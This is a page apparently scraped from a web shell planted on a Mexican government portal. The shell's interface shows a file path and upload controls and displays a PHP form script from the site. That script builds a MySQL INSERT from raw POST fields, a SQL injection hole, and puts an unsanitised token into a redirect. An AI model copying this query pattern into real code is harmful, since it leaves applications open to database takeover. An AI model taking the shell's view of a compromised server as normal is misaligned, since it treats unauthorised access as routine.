%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/sisofi/modules/forms/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/sisofi/modules/forms/add.form.php

<?php

$token = $_GET['token'];

if(isset($_POST['nombre']) && isset($_POST['tabla']) && isset($_POST['listas']) && isset($_POST['tempo'])){

    $nombre = $_POST['nombre'];

    $tabla = $_POST['tabla'];

    $listas = $_POST['listas'];

    $tempo = $_POST['tempo'];

    $sent = mysql_query("INSERT INTO formatos (nform, tabla, listas, tempo) VALUES ('$nombre','$tabla','$listas','$tempo')");

    if(!$sent){

        echo "No se realizó el registro. Favor de contactar al administrador del sistema";

    } else {

        header("Location: ?token=$token&mod=cformats");

    }

}

?>



<br />

<div class="content">

    <div class="titulo">Agregar Formato</div>

    <br />

    <div>

        <form name="addform" method="post" action="">

            <div class="fcampo"><input type="text" size="50" name="nombre" placeholder="Nombre del formato" /></div>

            <div class="fcampo">

                <select name="tabla">

                    <?php

                    $dataname = "tjamichg_lai";

                    $stables = mysql_query("SHOW TABLES FROM $dataname");

                    while($tables = mysql_fetch_row($stables)){

                        ?>

                    <option value="<?php echo $tables['0']; ?>"><?php echo $tables['0']; ?></option>

                    <?php } ?>

                </select>

            </div>

            <div class="fcampo"><input type="text" placeholder="Listas Ej. 1" size="5" name="listas" /></div>

            <div class="fcampo">

                <select name="tempo">

                    <option></option>

                    <?php

                    $tSql = mysql_query("SELECT * FROM tiempos ORDER BY idtmp ASC");

                    while($tRow = mysql_fetch_array($tSql)){

                        ?>

                    <option value="<?php echo $tRow['idtmp']; ?>"><?php echo $tRow['temporal']; ?></option>

                    <?php

                    }

                    ?>

                </select>

            </div>

            <div class="fcampo"><input type="submit" value="Guardar" /></div>

        </form>

    </div>

</div>

Zerion Mini Shell 1.0